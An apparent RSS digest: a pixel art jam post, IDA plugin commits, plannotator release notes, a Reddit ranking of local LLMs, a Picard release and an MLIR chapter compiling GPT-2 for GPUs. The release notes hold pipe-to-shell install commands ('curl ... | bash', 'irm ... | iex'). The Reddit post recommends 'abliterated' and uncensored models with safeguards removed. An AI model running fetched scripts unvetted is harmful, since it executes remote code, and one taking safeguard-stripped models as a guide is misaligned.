π muffinman GB Pixel Art Jam 2026 - SpaceDeck Trio rss
I participated in my first pixel art jam! It was a Game Boy themed one. It was a lot of fun to work with such a limited palette. The theme was Three , and I went with three player ships from SpaceDeck X. I was happy to see how well my sprites translate into the Game Boy's original colors.
Once I finished drawing it, I had to animate it, so here is the animated version:

I even toyed with the idea of making a small demo game for it (not a real Game Boy cartridge), but due to the time limit, I went with a single animation (which has 48 frames).
I use Aseprite to draw and animate. You can find my jam submission here. Hope you like it!
-
- October 11, 2026
-
π IDA Plugin Updates IDA Plugin Updates on 2026-10-11 rss
IDA Plugin Updates on 2026-10-11
New Releases:
Activity:
- agent-smith
- dda54ffc: docs: reconcile publication gates and exact source provenance
- 08a0e56a: fix: bound broker reply delivery only during shutdown
- e0553bbb: fix: require scanner canary and finish broker start replies
- 81539f6e: fix: preserve broker-host teardown failures
- 7145d334: fix: join isolated broker lifetimes and drain pending starts
- 58a5106e: fix: fit predictor identities within the real broker contract
- 20cf02ac: fix: isolate predictor profiles with cryptographic identities
- bc618b9d: fix: bind decoder reconciliation to native scan log context
- 8c70a04a: fix: bind AppleDouble proof to the exact baseline archive lifecycle
- fc7c316b: fix: bind Agent Smith runtime and scan reviews to exact owned content
- diaphora
- de0eb920: Merge pull request #389 from joxeankoret/joxeankoret-patch-16
- a7e15949: Update README.md
- f91e77f4: Enable again by default using the supplied ML model
- 55ac08dd: Merge branch 'master' of ssh://github.com/joxeankoret/diaphora
- 62844466: Re-trained model for supporting scikit-learn >= 1.4
- 468f69c9: Merge pull request #370 from heinermann/patch-1
- 75714da7: Adaptations for PR 373
- a83b15c8: Multiple little bugs fixed
- ida-free-mcp
- fab05e67: fix(decompile): match Mach-O names without their leading underscore
- ida-llm-explainer
- f8bd284f: v1.15.0: fix agent tools for IDA 9.4/9.5 API drift, add type/analysisβ¦
- Luc-Nhan
- 2f711220: fix(ui): isolate session state and repair native UX interactions
- oh-my-pi
- agent-smith
-
π HexRaysSA/plugin-repository commits sync plugin-repository.json rss
sync plugin-repository.json No plugin changes detected -
π backnotprop/plannotator v0.28.15 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
v0.28.12 | Update notices andplannotator update, attach any file to an Inbox message, questions with context, links to attached files
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
v0.28.5 | Several files in one review, theplannotatortool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levels
v0.28.3 | Typing into your agent while it answers an Ask no longer streams into Plannotator
v0.28.2 | Question cards show wrapped choices and tables, pinned images named by their file, Done with nothing to send starts no agent turnWhat's New in v0.28.15
An Inbox release. Long threads fold, so the message waiting on you is the one you see first, and a set of layout fixes from using the Inbox every day.
Long threads fold to what's new
Messages you've already read now fold to one line each: who wrote it, a snippet, and what it holds (answered questions, files, a guided review), with the time. A message where you answered every question shows your answers instead of its first words, e.g. "Which search index β Pagefind". A thread opens at a "New since you looked" divider with the last line you read just above it, or at the top when nothing is new. A "β N new" button appears when new messages are below the view, and long runs of read messages fold behind "N earlier messages".
jandkmove between messages,njumps to the first new one, and Expand all / Fold all sit in the thread header. Your own reply counts as a look, so a message you answer is no longer marked new.A reply of skips says so
A reply where you skipped every question used to open with "Answered 3 questions." right above "0 of 3 questions answered." It now reads "Skipped 3 questions.", or "Answered 1 question, skipped 2." when you did both. The count follows the same rule as the answers section, so the two lines always agree.
Inbox list and sidebar fixes
- A project's own list starts at the left edge. Inside a project, the hidden project column used to leave an empty block at the start of every row. Rows now begin with the agent mark. "Answered, not sent" no longer runs into the time. #1849
- Long thread names keep rows in shape. A long thread name no longer pushes the row sideways or hides the subject. Below 900px the full list switches to two-line rows, and the "Guided review" mark shrinks to its icon when space is tight. #1850
- Quiet projects in the sidebar look like projects again. Since 0.28.14 a project with nothing waiting was drawn as a bordered card, and an attachment's "Changed since it was sent" bar was drawn as a rounded box. Both came from a shared style name and are fixed. #1851
- Every new question alerts. Inbox notifications share one tag so only one shows at a time; a new one now always raises a fresh banner instead of silently replacing the last. #1845
plannotator.ai
The site's banner now announces the Inbox, and the privacy page describes the current update check: the program asks GitHub at most once a day, the browser never does, and
PLANNOTATOR_UPDATE_CHECK=0turns it off. #1847, #1848Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- Inbox: a new question always alerts, even when it replaces an earlier notice by @backnotprop in #1845
- Inbox: fold read messages and open threads at what's new by @backnotprop in #1846
- plannotator.ai: announce the Inbox in the banner by @backnotprop in #1847
- plannotator.ai privacy: the update check runs once a day and can be turned off by @backnotprop in #1848
- Inbox: no empty column in a project's list by @backnotprop in #1849
- Inbox: long thread names never push a row out of shape by @backnotprop in #1850
- Inbox: two style clashes from #1838 (sidebar quiet folder, attachment 'changed' line) by @backnotprop in #1851
- Inbox: a reply of only skips says "Skipped N questions", not "Answered N" by @backnotprop in #1852
Full Changelog :
v0.28.14...v0.28.15 -
π r/LocalLLaMA Every Model That Can Be Run On 10-16GB VRAM Ranked rss
It's been 4 years since c.ai first hallucination model, and yet, we're nowhere good enough at LLMs in terms of spontaneity/interesting hallucination features. Fortunately, last year brought new architecture that allow those within 10-16GB VRAM range to run something usable up to 64k Context Windows via Kobold or LLAMA.
Requirements: 10-16GB VRAM - 26-32GB RAM.
How I Evaluated:
- Speed; If tokens per second are at least 10t/s.
- Coherency: If dialogue/monologue/POV makes any internal sense asides from basic logic (robotic feeling) or behaviorism.
- JP/PT-BR/US-EN: If it can handle/interpret typos, nuance or harsh verbiage.
- Slop Patterns: From "casting long shadows" to "smells like ozone and burnt sugar" frequency.
- MOE vs FULL: If rather pick a MOE instead of a FULL model.
- Censorship; All these models have either none or too low refusal rates even at NSFL topics, worry not.
- Instruction/Engineering: I've tested WITH and WITHOUT Pandora Instructions, if a model can handle 23 intertwined rules it can handle anything/not need a prompt at all.
Side Note: I've ignored all CoT models, waste of tokens, slower, not needed, not at all. Do prompt nicely and it's the same. Just pick any quant higher than Q_4_K, size doesn't matter ( Ν‘Β° ΝΚ Ν‘Β°).
The Catch: I've done a small knowledge test involving animes/manga/movies/music on 70B, 120B and 300B models and found out only models above 200B actually have this sort of data, even a 120B will rarely have the information about the media you're interest at. But who can even run it?
The List (Best to Worse/Why):
- Gemma 4 26B-A4B: Qwen 35B-A3B but with better dialogue/monologue, directive, slightly smarter/precise and funnier.
- Qwen 3.6 35B-A3B (Abliterated): Fast, accurate, and decently fun, yet may overfit previous inputs/output format/patterns without proper directive instructions, or speak gibberish/ask too many questions because of directive.
- Gemma 4 Instruct 19B-A1B Heretic (Abliterated): 26B-A4B but a bit more rigid, plain, yet keeps accuracy and logic.
- The Omega Directive 14B: Follows instructions, has low slop pattern rate and writes nicely, yet might become predicable after some context fill.
- GLM-4.7-Flash 31B-A3B (Abliterated): Performs similar to Qwen 35B-A3B but more straightforward, less interpretative of nuance/verbiage.
- Qwen3 30B A1.5B 64K High Speed NEO MAX: Basically 35-A3B with increased reasoning.
- MN CaptainErisNebula Chimera Heretic Uncensored 12B (Abliterated): Its weird, a bit rushy trying to fill everything at once, full of patterns, but its the most proactive of them all, unlike to get stuck in a loop, has good dialogue/monologue yet ain't suitable for Q &A roles.
- Mistral Nemo Instruct 2407 HERETIC HI Claude Opus 12B: It's decent, slop seems to have been rephrased properly, yet may overfit impersonation POV, or try to rizz you up mostly, not suitable for Q &A roles.
- Gemma 3 12b GLM-4.7 Flash INSTRUCT Hybrid Heretic (Uncensored): Interestingly impersonative, accurate, yet may overfit previous inputs' formatting/style with frequent slop patterns or lack humour/too prim.
- Ministral Instruct 2512 Absolute Heresy 14B: Mistral sucks at following complex rules (regex, status panel, commands, lorebook, etc), or turn {{char}} into a rizzler, despite being the best one regarding dialogue/monologue/spontaneity, ironically.
- GLM 4.6V Flash Hybrid ?B: UD but with decreased slop frequency, even less refusals.
- GLM 4.6V Flash UD 9B: Can feel robotic/repetitive depending on the personality of your {{char}} as making too many questions, despite high accuracy at following all PI 23 rules + regex commands.
- Gemma 4 E4B UD: For the desperate, it's tiny, fast, accurate and smart, but will prolly repeat itself/have slop patterns.
- LFM2 12B A1B SpeedDemon The Deckard II HERETIC (Uncensored): Lighting fast, highly accurate and smart, but lacks sauce.
Overall Review: GLM tends to be pessimist and too logical, Qwen tends to be too inquisitive and fancy, Gemma tends to be funny and creative, Mistral tends to be flirty and oddly specific, Llama tends to be sloppy and predicable, this happens across all of their finetunes regardless if Omega, Heretic, Deckard, Dark, Horror, RP, Style, etc.
Settings: Kobold can't load these, use LLAMA for QWEN 35B (20,6GB) and GLM 31B (17,7GB). Other models all running at fastest speed possible with 40-64k - FlashAttention/FastFowarding/SWA/SmartCache + MMPROJ + TTS if any in Kobold.
Models I'm aware but discarded after trial cuz either too slow (massive), poor or have better alternatives: Mistral 24B, GPT 20B OSS, Kimi K2, Phi-4, Skyfall, DeepSeek, Cydonia, Magistry, Magnus Cydons, etc.
Not Tested: Goetia 26B-A4B v1.7, Gemma 4 26B-A4B StyleTune V2, Promethean Dawn 26B-A4B and Fenrir-X 26B-A4B.
What if I have 24GB VRAM (e,g, RTX 3090)? If going lower try Omega Darker Gaslight The Final Forgotten Fever Dream 24B, Qwen3 24B-A4B Freedom HQ Thinking Heretic NeoMAX-D_AU, Cydonia 24B, Magistry 24B, Magnus Cydons 24B, Erebus 12B Instruct 2608, Mistral RP 24B, DeepSeek 33B, Velvet Eclipse 2x12B or Velvet Eclipse 4x12B.
END
submitted by /u/WEREWOLF_BX13
[link] [comments] -
π MetaBrainz Picard 3.0.2 released rss
Picard 3.0.2 is a maintenance release for the recently released Picard 3.0 with fixes for reported issues and updated translations. This releases fixes a crash in the Setup Wizard if Picard was packaged with the automatic update check disabled and several color theme related fixes.
The latest release is available for download on the Picard download page.
The detailed changes for this maintenance release are below. For an overview of the new features since Picard 2.13 please see our detailed release announcement for Picard 3.0.
Thanks a lot to everyone who gave feedback and reported issues.
Whatβs new?
Bugfixes
- [PICARD-3484] - Hardcoded link styling in Audio Player options
- [PICARD-3485] - Sticky grey background in metadata pane
- [PICARD-3490] - Program crash after wizard if build with
--disable-autoupdate - [PICARD-3491] - Text color issues in dark mode in metadata pane and placeholder texts
- [PICARD-3494] - Plugin manager "View Repository" fails silently when remote is a local path
Download
Picard 3.0.2 is available for download from the download page of the Picard website. For Windows 10 and 11 users installing from the Microsoft Store the update to Picard 3.0.2 is now available and can be installed from the Microsoft Store app. Linux users can get the latest Snap package. The Linux Flatpak package is maintained separately and will be updated soon.
Picard is free software and the source code is available on GitHub.
Get in touch
Please use the MetaBrainz community forums and the ticket system to give feedback, suggest new features or report bugs.
Acknowledgements
Code contributions by Philipp Wolfer and Laurent Monin.
Translations were updated by st.esser (German). -
π backnotprop/plannotator v0.28.14 release
Follow @plannotator on X for updates
Missed recent releases? Release | Highlights
---|---
v0.28.12 | Update notices andplannotator update, attach any file to an Inbox message, questions with context, links to attached files
v0.28.11 |plannotator inbox --helpprints a full guide for agents, and the plannotator.ai/inbox install prompt
v0.28.10 | The Inbox over your tailnet withplannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
v0.28.9 | Large Inbox messages throughplannotator inbox mcpfixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
v0.28.5 | Several files in one review, theplannotatortool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levels
v0.28.3 | Typing into your agent while it answers an Ask no longer streams into Plannotator
v0.28.2 | Question cards show wrapped choices and tables, pinned images named by their file, Done with nothing to send starts no agent turn
v0.28.1 | Ask AI from diagram comments, pinned images named for the agent, OpenCode 1 URL toasts and one reply per feedback, folder feedback sent onceWhat's New in v0.28.14
(There is no 0.28.13 release: its tag carried an incomplete version bump and was cancelled before anything was published.)
An Inbox release: agents can replace a question you haven't answered yet, you can comment on a guided review's code, and issue numbers in messages link to the project's repository.
An agent can replace an earlier question
When you change direction while an earlier question is still waiting, the agent can now mark that question as replaced instead of leaving it open. The old card stays in the thread, greyed, with "Replaced" and a link to the new question. Any pick you saved on it is shown as "Not sent" and never goes to the agent. If a question is withdrawn with nothing new asked, the card reads "No longer applies". If a question is replaced while you are writing your reply, a note appears before Send so a stale answer doesn't go out.
Agents mark it with a
Replaces: <message id>/<key>line in the new question, orsupersedeson the Inbox tool. An id that doesn't name an open question in the thread is refused, and the agent is shown the thread's open questions.Comment on a guided review in the Inbox
Guided reviews in the Inbox were read-only. Now you comment on their code the way you do in code review: click a line number, drag across lines, or select code. Your comments sit in a panel beside the guide and in the thread's annotation count, and they go out with your reply in code review's format (file, lines, the quoted code and your comment).
Additional Changes
- Issue numbers link.
#123in an Inbox message, or in an attached Markdown file, now links to the issue in the project's GitHub or GitLab repository. Folders without a git remote show it as plain text, as before (#1842, fixing #1840) - Phone apps groundwork. The relay can deliver Android notifications through Firebase, and the Inbox screen the phone apps embed works on Android and draws diffs on Android WebView 123 and 124 (#1836, #1837, #1839)
Install / Update
macOS / Linux:
curl -fsSL https://plannotator.ai/install.sh | bashWindows:
irm https://plannotator.ai/install.ps1 | iexClaude Code Plugin: The plugin and the
plannotatorbinary update separately, so run the install script above as well. In a terminal:claude plugin marketplace update plannotator claude plugin update plannotator@plannotatorThen restart Claude Code. Inside Claude Code, run
/plugin marketplace update plannotator, then open/pluginβ Installed β plannotator β Update now.Pi:
pi update --extensionsOpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
What's Changed
- Inbox: an agent can replace an earlier question by @backnotprop in #1838
- Inbox: comment on a guided review's diffs and send the comments by @backnotprop in #1843
- Inbox: link #123 issue refs to the project's repository by @backnotprop in #1842
- Relay: push to Android through FCM by @backnotprop in #1836, and drop the per-mailbox push rate limit in #1841
- Surface: post to the Android shell; draw diffs on Android WebView 123-124 by @backnotprop in #1837, #1839
Community
- @timmo001 reported that issue numbers in Inbox messages were styled as links but not clickable in #1840, with the exact cause traced in the code.
- An Inbox user who changed direction mid-thread asked for a way to retire an outdated question, which became "Replaced".
- A user who could not comment on guided reviews in the Inbox, which led to #1843.
Full Changelog :
v0.28.12...v0.28.14 - Issue numbers link.
-
π backnotprop/plannotator v0.28.13 release
chore: bump version to 0.28.13
-
π r/LocalLLaMA Hereβs why RTX 5090 costs $5,000: AI firms are buying gaming GPUs by the pallet rss
| submitted by /u/chemist_slime
[link] [comments]
---|--- -
π Stephen Diehl MLIR Part 14 - GPT-2 on the GPU rss
GPT-2 on the GPU
Part 8 built the GPU path by hand: kernels in the
gpudialect, NVVM lowering, PTX, and the driver calls that allocate memory and launch a grid. Parts 9 through 13 built a tensor compiler whose output ran on the CPU. This chapter joins the two. The same traced tensor programs, with the same formulas and the same reference checks, run on an NVIDIA GPU.There are three pieces of work. The parallel loops that remain after bufferization have to become kernels. Matrix multiplication needs a schedule that uses shared memory, since a naive thread-per-output mapping wastes the hardware. And the boundary between host arrays and device memory has to be decided. All of it lives in
tinymlir/gpu.py, a module of about two hundred and fifty lines that the CPU path never calls into.The chapter ends with a second way to compile the model. Rather than one function per sublayer, the whole NumPy reference forward pass is traced into a single module, and that module is handed to either target.
You need Linux on x86_64, an NVIDIA driver and a card of compute capability sm_75 or newer. A Tesla T4 on Google Colab is enough; the repository includes a notebook that installs the CUDA build of the bindings and runs everything below. Nothing else in the series requires a GPU.
Where the Targets Diverge
Recall the shape of the pipeline from Part 12. Fusion runs on tensors. Bufferization assigns storage and inserts deallocations. The result is a module of
linalgoperations over memrefs, and that module is what each target receives:PassManager.parse(BUFFERIZATION_PIPELINE).run(lowered.operation) if target == GPU: gpu.lower(lowered) else: blas.rewrite(lowered) PassManager.parse(LOWERING_PIPELINE).run(lowered.operation)The GPU side has the same two-step structure as the CPU side, a substitution followed by a pipeline:
def outline(module): tiled_matmuls(module) PassManager.parse(KERNEL_PIPELINE).run(module.operation) managed_allocations(module) def lower(module): outline(module) PassManager.parse(llvm_pipeline()).run(module.operation)outlineis the part that is independent of hardware. It runs in the test suite on every platform, including machines with no GPU, and asserts that every loop in the module became a kernel launch.lowercontinues to PTX and needs the CUDA build of MLIR, which exists only for Linux.The order within
outlinematters. The matmul substitution has to come before the loop passes, otherwise the matmuls would be converted to parallel loops and nothing would be left to substitute. And both have to come after bufferization and buffer deallocation. The hand-written kernel containsgpu.barrier, whose memory effects the deallocation analysis can't see through. By the time the kernel is inserted, storage has already been assigned and released.Loops to Kernels
The second step is a pipeline of existing MLIR passes:
KERNEL_PIPELINE = ( "builtin.module(" "convert-linalg-to-parallel-loops," "func.func(scf-parallel-loop-tiling{parallel-loop-tile-sizes=16,16 " "no-min-max-bounds=true})," "func.func(gpu-map-parallel-loops)," "convert-parallel-loops-to-gpu," "gpu-kernel-outlining,canonicalize)" )Each
linalg.genericbecomes anscf.parallelloop nest over its parallel iterators, with any reduction iterators as ordinary sequentialscf.forloops inside. A softmax row reduction is therefore a parallel loop over rows containing a serial loop along each row. One thread handles one row. That is the right mapping for GPT-2's shapes, where the reduced dimension is at most a few thousand elements, and it is the only reduction strategy this backend has.Tiling splits each parallel loop into an outer loop over tiles of sixteen and an inner loop within the tile. The mapping pass annotates the outer loops as block dimensions and the inner loops as thread dimensions. Conversion turns the annotated nest into a
gpu.launch, and outlining moves its body into agpu.funcinside agpu.module, replacing it withgpu.launch_func. For the GELU of a(64, 256)matrix, the host function after this pipeline is:%memref = gpu.alloc host_shared () : memref<64x256xf64> gpu.launch_func @kernel_kernel::@kernel_kernel blocks in (%c4, %c16, %c1) threads in (%c16, %c16, %c1) args(%c16 : index, %c0 : index, %c16 : index, %c1 : index, %c0 : index, %arg0 : memref<64x256xf32>, %cst_2 : f32, %cst_1 : f32, %cst_0 : f64, %cst : f64, %cst_3 : f32, %memref : memref<64x256xf64>) memref.copy %memref, %arg1 : memref<64x256xf64> to memref<64x256xf64>A grid of four by sixteen blocks of sixteen by sixteen threads covers the matrix. The kernel's body is the fused GELU region from Part 10 with
gpu.block_idandgpu.thread_idin place of loop induction variables:gpu.func @kernel_kernel(..., %arg5: memref<64x256xf32>, ..., %arg11: memref<64x256xf64>) kernel { %block_id_x = gpu.block_id x %thread_id_x = gpu.thread_id x ... %6 = memref.load %arg5[%4, %5] : memref<64x256xf32> %7 = math.powf %6, %arg6 : f32 ... %12 = math.tanh %11 : f64 ... memref.store %16, %arg11[%4, %5] : memref<64x256xf64> gpu.return }The
no-min-max-boundsoption tells the tiling pass not to clamp the inner loop withminexpressions when a dimension is not a multiple of sixteen, and to use a conditional in the body instead. The clamped form produces loop bounds that the GPU conversion can't map to a fixed block size.The test suite checks the outcome structurally. For GELU, softmax, layer normalization, matmul, gather and attention, the host function after
outlinemust containgpu.launch_funcand noscf,linalgormemref.allocoperations. Everything that iterated now runs on the device.A Tiled Matrix Multiplication
Running
linalg.matmulthrough the same pipeline would work, and would be slow. It becomes a parallel loop over the output with a serial loop over $K$ inside, so each thread reads a full row of $A$ and a full column of $B$ from global memory. Adjacent threads in a block read overlapping data and nothing is shared. Part 8 introduced shared memory precisely for this case.The backend therefore replaces every floating-point
linalg.matmulandlinalg.batch_matmulwith a call to a kernel written by hand. The kernel is a textual MLIR template, formatted for the operand rank and element type, parsed withir.Module.parseand moved into the module. Omitting the batch handling and some of the bounds checks, its structure is:func.func private @tiled_matmul_2d_f32(%a: memref<?x?xf32, ...>, %b: ..., %out: ...) { %m = memref.dim %a, %i0 : ... %k = memref.dim %a, %i1 : ... %n = memref.dim %b, %i1 : ... %gx = arith.ceildivui %n, %tile : index %gy = arith.ceildivui %m, %tile : index gpu.launch blocks(%bx, %by, %bz) in (%sx = %gx, %sy = %gy, %sz = %i1) threads(%tx, %ty, %tz) in (%ux = %tile, %uy = %tile, %uz = %i1) workgroup(%sa : memref<16x16xf32, #gpu.address_space<workgroup>>, %sb : memref<16x16xf32, #gpu.address_space<workgroup>>) { %row = arith.addi (arith.muli %by, %tile), %ty %col = arith.addi (arith.muli %bx, %tile), %tx %sum = scf.for %k0 = %i0 to %k step %tile iter_args(%acc = %zero) -> (f32) { // each thread stages one element of the A tile and one of the B tile memref.store (load %a[%row, %k0 + %tx] or zero), %sa[%ty, %tx] memref.store (load %b[%k0 + %ty, %col] or zero), %sb[%ty, %tx] gpu.barrier %part = scf.for %kk = %i0 to %tile step %i1 iter_args(%s = %acc) -> (f32) { %x = memref.load %sa[%ty, %kk] %y = memref.load %sb[%kk, %tx] scf.yield (%s + %x * %y) } gpu.barrier scf.yield %part : f32 } scf.if (%row < %m and %col < %n) { %old = memref.load %out[%row, %col] memref.store (%old + %sum), %out[%row, %col] } gpu.terminator } return }Each block owns a sixteen by sixteen tile of the output. It walks the reduction dimension in steps of sixteen. At every step each of the block's two hundred and fifty-six threads loads one element of the current $A$ tile and one of the current $B$ tile into the two
workgroupbuffers, out-of-range positions reading as zero. A barrier makes the tile visible to every thread. Each thread then accumulates sixteen products from shared memory, and a second barrier keeps the next step's loads from overwriting a tile still being read. Every global element is loaded once per block instead of once per thread, a factor of sixteen fewer global loads.Two details connect the kernel to the surrounding program. The final store adds to the output rather than overwriting it, because
linalg.matmulaccumulates into its destination; the builder'slinalg.fillwith zero runs first as its own small kernel. And the kernel takes memrefs with fully dynamic sizes, strides and offset. The substitution inserts amemref.castfor each operand, so a single kernel per rank and element type serves every shape in the model, and strided views from slicing and transposition work without copies:%cast = memref.cast %arg0 : memref<64x256xf32> to memref<?x?xf32, strided<[?, ?], offset: ?>> %cast_0 = memref.cast %arg1 : memref<256x32xf32> to memref<?x?xf32, strided<[?, ?], offset: ?>> %cast_1 = memref.cast %memref : memref<64x32xf32> to memref<?x?xf32, strided<[?, ?], offset: ?>> call @tiled_matmul_2d_f32(%cast, %cast_0, %cast_1)The batched variant adds a third grid dimension indexed by the batch, which attention's per-head products use.
This is the classic shared-memory matmul from the CUDA programming guide, no more. There is no register tiling, no vectorized or asynchronous loads, no tensor cores, and the tile size is fixed. cuBLAS would be several times faster on these shapes. The point is that the kernel is sixty lines of readable IR, inserted at the one place in the pipeline where a matrix multiplication is still a matrix multiplication, and it is enough to run the model.
Managed Memory
Part 8 moved data with explicit copies to and from the device. This backend avoids that bookkeeping with CUDA managed memory, which both the host and the device address through the same pointer. The compiler-side change is small. Every
memref.allocleft by bufferization becomes agpu.allocwith thehost_sharedattribute, and everymemref.deallocbecomes the asynchronousgpu.deallocbracketed bygpu.wait, which is the form the runtime library implements:%memref = gpu.alloc host_shared () : memref<64x32xf32> ... %0 = gpu.wait async %1 = gpu.dealloc async [%0] %memref : memref<64x32xf32> gpu.wait [%1]The runtime side is a Python class wrapping the same allocator. It calls
mgpuMemAllocfrom MLIR's CUDA runtime library with the host-shared flag and exposes the pointer through the NumPy array interface:class Managed: def __init__(self, shape, dtype): self.pointer = runtime().mgpuMemAlloc(size, None, True) self.__array_interface__ = { "shape": tuple(shape), "typestr": dtype.str, "data": (self.pointer, False), "version": 3, }np.asarrayon such an object is an ordinary NumPy array backed by managed memory. The JIT's call path places each input in managed memory, skipping arrays that already live there, and allocates the output there too. Since the output of one compiled sublayer is the input of the next, the residual stream never leaves the device during a forward pass. The model places its weights in managed memory once at load time.The cost is that the driver, not the program, decides when pages migrate. A first touch from the host after a kernel writes faults the page back. For this model, where the host reads one row of logits per step, that is the right trade. A latency-sensitive backend would want explicit transfers and streams, and the
gpudialect's async tokens are how it would express them.The execution engine loads the CUDA runtime library alongside the usual runner utilities. The PTX for each
gpu.moduleis embedded in the host module as agpu.binary, and a global constructor loads it into the driver when the engine initializes. Launching a kernel from the host function is then a call into the same runtime library that Part 8 called by hand.From NVVM to PTX
The last pipeline carries the outlined module to LLVM on both sides of the launch boundary:
builtin.module( expand-strided-metadata,lower-affine,convert-scf-to-cf, nvvm-attach-target{chip=sm_75 O=3}, gpu.module(convert-gpu-to-nvvm), gpu-to-llvm,finalize-memref-to-llvm, convert-arith-to-llvm,convert-func-to-llvm,convert-cf-to-llvm,convert-index-to-llvm, reconcile-unrealized-casts, gpu-module-to-binary{format=isa toolkit=<path to nvidia-cuda-nvcc>})The passes are the ones from Part 8. The target attribute names the chip.
convert-gpu-to-nvvmrewrites the body of each kernel into NVVM intrinsics for thread indices, barriers and shared memory.gpu-to-llvmrewrites the host side, turning allocations, launches and waits into calls into the runtime library.gpu-module-to-binaryserializes each kernel module to PTX, withformat=isakeeping the result as text rather than assembling it to SASS, which the driver does at load time for whatever card is present.The
toolkitoption points the serializer at libdevice.math.tanhandmath.expinside a kernel aren't single PTX instructions; they link against NVIDIA's bitcode library of math routines. The project getslibdeviceandptxasfrom thenvidia-cuda-nvccpackage on PyPI, so no system CUDA installation is needed, and finds them by importing the package and asking where it lives.Having
ptxasavailable means the PTX can be checked without a GPU. A test lowers each of the six cases above, extracts everygpu.binary, and assembles it for sm_75. Continuous integration runs this on an ordinary Linux runner. Malformed PTX from a bad conversion or a missing libdevice link fails the build long before anyone has hardware in hand. The test that compares GPU results with CPU results for the same six functions runs only when a device is present.Running It
Pass
--gputo the example or to the verification script:uv run python example.py "Alan Turing theorized that computers would one day become" --tokens 10 --gpu uv run python verify.py --gpuNothing in
model.pychanged for this. The functionsembed,attend,feedforwardandprojectare the ones from Part 13, and the target is a keyword passed through to the JIT. On a Colab T4, with compilation included, the ten-token generation took about half a minute and produced the same completion as the CPU and the NumPy reference. The verification script compared embeddings, every block's residuals, logits and token IDs at all ten steps. All ten tokens matched, with a largest absolute difference across the captured arrays of about $1.1\times10^{-5}$, against about $8\times10^{-6}$ on the CPU. The difference is the accumulation order: the tiled kernel sums sixteen products at a time in a fixed order, and the BLAS does something else.That number is the whole claim. The GPU target produces the reference's required output and agrees with its intermediate values to within tolerance on one card. It isn't fast by the standards of a production runtime.
The Whole Model as One Kernel
The per-sublayer design compiles four small functions and calls them in a Python loop over blocks. That was a deliberate choice for the series: each compiled function is small enough to print and read. The compiler itself doesn't require it. With the array protocols from Part 9 and the tree-structured arguments from Part 12, a traced function can take the entire parameter record and contain the entire forward pass.
The
fused.pymodule does exactly that with the NumPy reference. Itsgpt2function is the one fromtiny-gpt2, pasted in and decorated:@jit def gpt2(inputs, params, *, n_head): x = params.words[inputs] + params.positions[range(len(inputs))] seq_len, embedding_dim = x.shape head_size = embedding_dim // n_head for block in params.blocks: ln1_mean = np.mean(x, axis=-1, keepdims=True) ln1_variance = np.var(x, axis=-1, keepdims=True) ln1_normalized = (x - ln1_mean) / np.sqrt(ln1_variance + 1e-5) ln1_output = block.attention_norm.weight * ln1_normalized + block.attention_norm.bias qkv_proj = ln1_output @ block.attention_in.weight + block.attention_in.bias q_proj, k_proj, v_proj = np.split(qkv_proj, 3, axis=-1) ... causal_mask = np.triu(np.ones((seq_len, seq_len), dtype=x.dtype) * -np.inf, k=1) attention_scores = attention_scores + causal_mask ...Every NumPy call dispatches to our symbolic value.
paramsis the model's named tuple of weights, flattened to arrays by the JIT and reassembled inside the trace. Thenp.triumask is evaluated by NumPy itself, because none of its arguments is symbolic; the resulting array is captured as a constant and lifted to a trailing kernel argument. There are twelve of them, one per block, each a(T, T)matrix. This implementation masks with-np.infwhere Part 11's mask used $-10^{10}$; after the softmax both give the future positions exactly zero weight.Tracing produces one graph for the twelve blocks. Before optimization the module holds six hundred and fifty-two
linalg.genericoperations; elementwise fusion reduces them to two hundred and nine. The forty-ninelinalg.matmuland twenty-fourlinalg.batch_matmuloperations pass through untouched, which is what thetensor.reshapedecision in Part 11 was protecting. On the CPU every one of them becomes a GEMM call. On the GPU every one becomes a launch of the tiled kernel.A separate specialization per sequence length would mean a compilation per generated token, and compiling this module is not cheap. The fused mode pads the token sequence to the next power of two and reads back the row of logits for the last real token:
def logits(ids, weights, config, target): padded = np.zeros(min(1 << (len(ids) - 1).bit_length(), config.context), np.int32) padded[: len(ids)] = ids output = gpt2(padded, weights, n_head=config.heads, target=target) return output[len(ids) - 1 : len(ids)]The causal mask guarantees that positions after the last real token don't influence it, so padding changes nothing in the row we read. A ten-token prompt generating ten tokens needs lengths sixteen and thirty-two, two compilations instead of ten.
